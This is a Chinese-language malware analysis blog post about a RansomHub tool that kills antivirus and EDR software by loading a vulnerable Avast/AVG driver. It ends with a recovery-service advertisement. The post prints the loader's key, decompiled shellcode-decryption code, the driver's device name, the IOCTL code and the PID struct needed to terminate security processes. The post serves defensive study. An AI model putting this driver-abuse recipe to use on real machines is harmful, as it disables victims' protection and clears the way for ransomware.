【攻击手法分析】勒索病毒如何轻松绕过安全设备防线:第一篇-驱动漏洞一击致命

时间: 2024-12-15 23:31:02 浏览量:9

  引言:在之前的文章025.【成功案例】lockbit家族百万赎金不必付!技术手段修复被加密的数据库,附溯源分析报告中,我们提到,尽管许多企业已经部署了众多安全设备和备份解决方案,并建立了相对成熟的安全运营体系,但在如此复杂的网络环境中,依然存在漏洞,导致黑客成功发起勒索加密攻击,最终造成业务瘫痪。通过对加密样本的提取和分析,我们识别出黑客使用了一些隐蔽的攻击手法,如Killav和致盲等,这些技术成功绕过了现有的安全防护,未能及时被检测到。本篇文章将深入解析黑客如何利用漏洞驱动Kill AV攻击的全流程,下一篇则将讨论如何配合驱动进行流量致盲,从而使部署的EDR无感地执行加密,导致机器被加密,敬请期待!

模拟客户网络拓扑环境

1.背景

1.1家族介绍

  关于RansomHub家族信息详情可参考本篇文章033.【病毒分析】Ransomhub加密器样本-EXSI

1.2防病毒软件(AV)测试结果

  通过技术手段捕获RansomHub家族的killAV程序后,我们第一时间对国内外主流的防病毒软件(AV)和终端检测与响应(EDR)系统进行了测试,发现该程序能够成功地强制关闭绝大部分杀毒软件的防护功能,意味着它具备了强大的绕过防护机制的能力。具体测试结果如下:

杀软结果测试截图公司及产品介绍
Sophos home成功killSophos 是一家全球领先的网络安全公司,总部位于英国牛津,成立于1985年。Sophos专注于提供企业级的安全解决方案,主要包括防病毒、防恶意软件、端点安全、加密、网络防火墙、入侵防御、邮件安全等产品。Sophos以其创新的安全技术、强大的威胁检测能力和简便的管理界面,在全球企业用户中具有广泛的影响力。Sophos Home 防病毒软件 是一款专为家庭用户设计的网络安全工具,旨在提供企业级防护,帮助用户抵御各种网络威胁,包括病毒、勒索病毒、恶意软件等。Sophos Home结合了Sophos公司多年在企业级安全领域的经验,涵盖端点保护、勒索病毒防护等功能,并提供强大的云端防护技术。
eset成功killESET是一家总部位于斯洛伐克的全球领先网络安全公司,成立于1987年。ESET专注于提供创新的网络安全解决方案,涵盖个人和企业的防病毒、防恶意软件、反间谍软件等产品。ESET凭借其高度准确的威胁检测技术和全球覆盖的支持服务,已成为网络安全领域的知名品牌,提供了多种防护解决方案,帮助用户防范网络攻击、病毒、恶意软件及其他数字威胁ESET 防病毒软件 以其高效的病毒检测、低资源消耗和简便的用户体验而广受欢迎。具备勒索病毒防护、反钓鱼保护、Web和网络保护等功能,ESET的防病毒软件适用于家庭用户和企业用户,提供多层次的保护,确保用户的设备免受各种网络安全威胁。
某二字杀软成功kill国内某安全厂商主流防病毒软件
某二字edr成功kill国内某安全厂商主流防病毒软件
某三字edr成功kill国内某安全厂商主流防病毒软件
某三字edr成功kill国内某安全厂商主流防病毒软件

  这也解释了为何在许多应急响应案例中,尽管客户部署了多种安全设备,勒索软件仍能够成功突破终端防护的原因之一。

2.对抗AV样本分析

  这个包含一个加密后的文件以及一个用于解密此文件并将其加载的加载器

  以及一个使用说明如下

* Must have administrator privileges
* Don't leak the pass
* Version: 2.0.4
* Must have Data.bin

Having two run modes:

1. Loader.exe -key 5cfffed3584645c1f5b53f9ebb20424a823a2888a161935f184aa1794777edda
2. Loader.exe and input 5cfffed3584645c1f5b53f9ebb20424a823a2888a161935f184aa1794777edda
3. Loader.exe -key 5cfffed3584645c1f5b53f9ebb20424a823a2888a161935f184aa1794777edda
4. Loader.exe -list av.txt and input 5cfffed3584645c1f5b53f9ebb20424a823a2888a161935f184aa1794777edda

07/07
* Byass AV

06/07
* Byass AV

05/15
* Byass AV
* some AV

05/08
* add BitDefender

05/06
* add Trend Micro Deep Security

05/05
* add Trend Micro
* fix some bug

2.1程序流程

  该程序执行流程如下,通过BYOVD利用漏洞驱动对杀软进行强关

2.2逆向分析

  拖入die中发现他是由c++编写的程序。

  首先读取key

   memset(v15, 0, sizeof(v15));
    printf("key:\n");
    scanf("%s", v15);

  然后通过key对bin进行解密,首先对文件继续

 FileW = CreateFileW(L"Data.bin", 0x80000000, 0, 0i64, 3u, 0x80u, 0i64);
  v6 = FileW;
  if ( FileW == (HANDLE)-1i64 )
    return 0i64;
  if ( !GetFileSizeEx(FileW, &FileSize) || !FileSize.QuadPart )
  {
    CloseHandle(v6);
    return 0i64;
  }
  v7 = (char *)VirtualAlloc(0i64, FileSize.QuadPart, 0x1000u, 0x40u);
  for ( i = 0; ReadFile(v6, Buffer, 0x800u, &NumberOfBytesRead, 0i64); i += v9 )
  {
    v9 = NumberOfBytesRead;
    if ( !NumberOfBytesRead )
      break;
    v10 = Buffer;
    v11 = &v7[i];
    v12 = (unsigned __int64)NumberOfBytesRead >> 3;
    v13 = NumberOfBytesRead;
    if ( v12 )
    {
      do
      {
        v14 = *(_QWORD *)v10;
        v10 += 8;
        *(_QWORD *)v11 = v14;
        v11 += 8;
        --v12;
      }
      while ( v12 );
      v9 = NumberOfBytesRead;
    }
    v15 = v13 & 7;
    if ( (_DWORD)v15 )
    {
      v16 = v11 - v10;
      do
      {
        v10[v16] = *v10;
        ++v10;
        --v15;
      }
      while ( v15 );
      v9 = NumberOfBytesRead;
    }
  }
  CloseHandle(v6);
  pdwDataLen = FileSize.LowPart;
  if ( CryptAcquireContextW(&phProv, 0i64, 0i64, 0x18u, 0xF0000000)
    && CryptCreateHash(phProv, 0x800Cu, 0i64, 0, &phHash)
    && CryptHashData(phHash, a2, a3, 0)
    && CryptDeriveKey(phProv, 0x6610u, phHash, 0, &phKey)
    && CryptDecrypt(phKey, 0i64, 1, 0, (BYTE *)v7, &pdwDataLen) )
  {
    CryptReleaseContext(phProv, 0);
    CryptDestroyHash(phHash);
    CryptDestroyKey(phKey);
    Sleep(3u);
    return v7;
  }
  else
  {
    free(v7);
    return 0i64;
  }
}

  具体解密流程如下:

  1. 获取加密上下文:通过 CryptAcquireContextW 获取加密服务提供者的上下文。

  2. 创建哈希对象:通过 CryptCreateHash 创建一个 SHA-1 哈希对象。

  3. 计算数据的哈希值:通过 CryptHashData 计算给定数据的哈希值。

  4. 派生密钥:通过 CryptDeriveKey 从哈希值派生一个 RC4 密钥。

  5. 解密数据:使用 CryptDecrypt 通过派生的 RC4 密钥解密数据。

  6. 清理资源:通过 CryptReleaseContextCryptDestroyHashCryptDestroyKey 释放加密服务提供者、哈希对象和密钥的资源。

  最后生成一个解密后的shellcode并返回

  通过copyFile2 执行回调

   v12 = decode((__int64)v9, (const BYTE *)v4, v10);
    if ( v12 )
    {
      pExtendedParameters.dwSize = 32;
      pExtendedParameters.dwCopyFlags = 1;
      pExtendedParameters.pfCancel = 0i64;
      pExtendedParameters.pProgressRoutine = (PCOPYFILE2_PROGRESS_ROUTINE)v12;
      pExtendedParameters.pvCallbackContext = 0i64;
      DeleteFileW(L"C:\\Windows\\Temp\\backup.log");
      CopyFile2(L"C:\\Windows\\DirectX.log", L"C:\\Windows\\Temp\\backup.log", &pExtendedParameters);
    }

  通过对createfileA函数下断点,可以发现在C:\Users\username\AppData\Local\Temp目录下释放了这个驱动,之后就是加载该驱动并利用此驱动关闭杀软进程

2.3驱动分析

  驱动利用方法如下

  驱动设备名如下

 PsGetVersion(&MajorVersion, &MinorVersion, &dword_5C8B0, 0LL);
  dword_5C8CC = MinorVersion | (MajorVersion << 8);
  if ( (MinorVersion | (MajorVersion << 8)) < 0x500 )
    return -1073741823;
  v3 = L"aswSP_Avar";
  if ( !byte_5C9D0 )
    v3 = L"avgSP_Avar";
  qword_5C8C0 = (__int64)v3;
  _snwprintf(&word_5C800, 0x1EuLL, L"\\Device\\%s");
  _snwprintf(word_5C960, 0x1EuLL, L"\\DosDevices\\%s", qword_5C8C0);
  RtlInitUnicodeString(&DestinationString, &word_5C800);
  RtlInitUnicodeString(&SymbolicLinkName, word_5C960);

  跟踪到需要调用的函数如下,传入pid即可调用ZwTerminateProcess强关杀软

__int64 __fastcall sub_2B418(unsigned int a1)
{
  NTSTATUS v1; // eax
  unsigned int v2; // ebx
  struct _CLIENT_ID ClientId; // [rsp+30h] [rbp-78h] BYREF
  struct _OBJECT_ATTRIBUTES ObjectAttributes; // [rsp+40h] [rbp-68h] BYREF
  struct _KAPC_STATE ApcState; // [rsp+70h] [rbp-38h] BYREF
  PVOID Object; // [rsp+B8h] [rbp+10h] BYREF
  void *ProcessHandle; // [rsp+C0h] [rbp+18h] BYREF

  ClientId.UniqueThread = 0LL;
  ObjectAttributes.Length = 48;
  memset(&ObjectAttributes.RootDirectory, 0, 20);
  ObjectAttributes.SecurityDescriptor = 0LL;
  ObjectAttributes.SecurityQualityOfService = 0LL;
  ClientId.UniqueProcess = (HANDLE)a1;
  KeStackAttachProcess(Process, &ApcState);
  v1 = ZwOpenProcess(&ProcessHandle, 1u, &ObjectAttributes, &ClientId);
  v2 = v1 == 0;
  if ( !v1 )
  {
    if ( !ObReferenceObjectByHandle(ProcessHandle, 0, 0LL, 0, &Object, 0LL) )
    {
      switch ( dword_5C8CC )
      {
        case 1281:
          *((_DWORD *)Object + 146) &= ~0x2000u;
          break;
        case 1282:
          *((_DWORD *)Object + 144) &= ~0x2000u;
          break;
        case 1536:
          *((_DWORD *)Object + 138) &= ~0x2000u;
          break;
        case 1537:
          *((_DWORD *)Object + 156) &= ~0x2000u;
          break;
        case 1538:
          *((_DWORD *)Object + 154) &= ~0x2000u;
          break;
      }
      ObfDereferenceObject(Object);
    }
    v2 = ZwTerminateProcess(ProcessHandle, 0);
    ZwClose(ProcessHandle);
  }
  KeUnstackDetachProcess(&ApcState);
  return v2;
}

  交叉引用到调用该函数的地方,发现通过调用号0x9988C094 调用

    else if ( a6 == 0x9988C094 )
        {
          if ( a3 != 4 || !a2 )
          {
            *a7 = -1073741306;
            return 3221225990LL;
          }
          v44 = sub_2B418(*a2);
          v45 = a7;
          *a7 = v44;
        }

  其中rdi就是我们传入的结构体,他取了传入的结构体的第一个成员当参数。

  因此只要构造一个只有一个成员的结构体即可

#[repr(C, packed)]
struct BYOVD_STRUCT {
    pid: DWORD,
}

  最后,加载驱动之后再向该驱动发送调用号以及构造好的结构体即可调用该驱动强关杀软

3.总结

  本篇详细介绍了一个RansomHub家族使用工具绕过杀软防护并加载恶意驱动的全流程。程序通过BYOVD(Bring Your Own Vulnerable Driver)技术利用漏洞驱动,强制终止安全软件进程。解密过程首先通过提供的密钥解密文件,并通过RC4算法对数据进行解密,最终生成恶意shellcode。恶意驱动利用系统漏洞加载后,程序通过构造特定的结构体,调用驱动程序中的 ZwTerminateProcess 函数,强制终止指定进程(如杀软)。该程序的关键技术包括加密解密过程、驱动加载与执行以及杀软绕过技术,通过操控系统的低级接口和系统调用,达到禁用安全软件的目的。

  本系列将继续揭示勒索家族绕过或突破安全防护设备,窃取数据并实施勒索服务的技术手法,旨在帮助大家识别攻击手段,从而进行针对性的防御优化,敬请期待下篇文章!

4.安全建议

1. 风险消减措施

  资产梳理排查目标: 根据实际情况,对内外网资产进行分时期排查

  服务方式: 调研访谈、现场勘查、工具扫描

  服务关键内容: 流量威胁监测系统排查、互联网暴露面扫描服务、技术加固服务、集权系统排查

2. 安全设备调优

目标

  通过对安全现状的梳理和分析,识别安全策略上的不足,结合目标防御、权限最小化、缩小攻击面等一系列参考原则,对设备的相关配置策略进行改进调优,一方面,减低无效或低效规则的出现频次;另一方面,对缺失或遗漏的规则进行补充,实现将安全设备防护能力最优化。

主要目标设备

  网络安全防护设备、系统防护软件、日志审计与分析设备、安全监测与入侵识别设备。

3. 全员安全意识增强调优

目标:

  通过网络安全意识宣贯、培训提升全方位安全能力

形式:

  培训及宣贯

线下培训课表

  若无法组织线下的集体培训,考虑两种方式:

    1.提供相关的安全意识培训材料,由上而下分发学习

    2.组织相关人员线上开会学习。线上培训模式。

线上学习平台

  以下是solar安全团队近期处理过的常见勒索病毒后缀:后缀.360勒索病毒,.halo勒索病毒,.phobos勒索病毒,.Lockfiles勒索病毒,.stesoj勒索病毒,.src勒索病毒,.svh勒索病毒,.Elbie勒索病毒,.Wormhole勒索病毒.live勒索病毒, .rmallox勒索病毒, .mallox 勒索病毒,.hmallox勒索病毒,.jopanaxye勒索病毒, .2700勒索病毒, .elbie勒索病毒, .mkp勒索病毒, .dura勒索病毒, .halo勒索病毒, .DevicData勒索病毒, .faust勒索病毒, ..locky勒索病毒, .cryptolocker勒索病毒, .cerber勒索病毒, .zepto勒索病毒, .wannacry勒索病毒, .cryptowall勒索病毒, .teslacrypt勒索病毒, .gandcrab勒索病毒, .dharma勒索病毒, .phobos勒索病毒, .lockergoga勒索病毒, .coot勒索病毒, .lockbit勒索病毒, .nemty勒索病毒, .contipa勒索病毒, .djvu勒索病毒, .marlboro勒索病毒, .stop勒索病毒, .etols勒索病毒, .makop勒索病毒, .mado勒索病毒, .skymap勒索病毒, .aleta勒索病毒, .btix勒索病毒, .varasto勒索病毒, .qewe勒索病毒, .mylob勒索病毒, .coharos勒索病毒, .kodc勒索病毒, .tro勒索病毒, .mbed勒索病毒, .wannaren勒索病毒, .babyk勒索病毒, .lockfiles勒索病毒, .locked勒索病毒, .DevicData-P-XXXXXXXX勒索病毒, .lockbit3.0勒索病毒, .blackbit勒索病毒等。

  勒索攻击作为成熟的攻击手段,很多勒索家族已经形成了一套完整的商业体系,并且分支了很多团伙组织,导致勒索病毒迭代了多个版本。而每个家族擅用的攻击手法皆有不同,TellYouThePass勒索软件家族常常利用系统漏洞进行攻击;Phobos勒索软件家族通过RDP暴力破解进行勒索;Mallox勒索软件家族利用数据库及暴力破解进行加密,攻击手法极多防不胜防。

  而最好的预防方法就是针对自身业务进行定期的基线加固、补丁更新及数据备份,在其基础上加强公司安全人员意识。如果您想了解有关勒索病毒的最新发展情况,或者需要获取相关帮助,请关注“solar专业应急响应团队”。

5.团队介绍

  团队坚持自主研发及创新,在攻防演练平台、网络安全竞赛平台、网络安全学习平台方面加大研发投入,目前已获得十几项专利及知识产权。团队也先后通过了ISO9001质量管理体系、ISO14000环境管理体系、ISO45001职业安全健康管理体系 、ITSS(信息技术服务运行维护标准四级)等认证,已构建了网络安全行业合格的资质体系;

6.我们的数据恢复服务流程

  多年的数据恢复处理经验,在不断对客户服务优化的过程中搭建了"免费售前+安心保障+专业恢复+安全防御"一体化的专业服务流程。

① 免费咨询/数据诊断分析

​   专业的售前技术顾问服务,免费在线咨询,可第一时间获取数据中毒后的正确处理措施,防范勒索病毒在内网进一步扩散或二次执行,避免错误操作导致数据无法恢复。

​   售前技术顾问沟通了解客户的机器中毒相关信息,结合团队数据恢复案例库的相同案例进行分析评估,初步诊断分析中毒数据的加密/损坏情况。

② 评估报价/数据恢复方案

​   您获取售前顾问的初步诊断评估信息后,若同意进行进一步深入的数据恢复诊断,我们将立即安排专业病毒分析工程师及数据恢复工程师进行病毒逆向分析及数据恢复检测分析。

​   专业数据恢复工程师根据数据检测分析结果,定制数据恢复方案(恢复价格/恢复率/恢复工期),并为您解答数据恢复方案的相关疑问。

③ 确认下单/签订合同

​   您清楚了解数据恢复方案后,您可自主选择以下下单方式:

  双方签署对公合同:根据中毒数据分析情况,量身定制输出数据恢复合同,合同内明确客户的数据恢复内容、数据恢复率、恢复工期及双方权责条款,双方合同签订,正式进入数据恢复专业施工阶段,数据恢复后进行验证确认,数据验证无误,交易完成。

④ 开始数据恢复专业施工

  安排专业数据恢复工程师团队全程服务,告知客户数据恢复过程注意事项及相关方案措施,并可根据客户需求及数据情况,可选择上门恢复/远程恢复。

  数据恢复过程中,团队随时向您报告数据恢复每一个节点工作进展(数据扫描 → 数据检测 → 数据确认 → 恢复工具定制 → 执行数据恢复 → 数据完整性确认)。

⑤ 数据验收/安全防御方案

  完成数据恢复后,我司将安排数据分析工程师进行二次检查确认数据恢复完整性,充分保障客户的数据恢复权益,二次检测确认后,通知客户进行数据验证。

  客户对数据进行数据验证完成后,我司将指导后续相关注意事项及安全防范措施,并可提供专业的企业安全防范建设方案及安全顾问服务,抵御勒索病毒再次入侵。

                      我们在此郑重承诺:

                     不成功不收费

                     全程一对一服务

                     365天不间断服务

                     免费提供安全方案

                     24h服务热线:

                     18894665383

                     17864099776

                     18299173318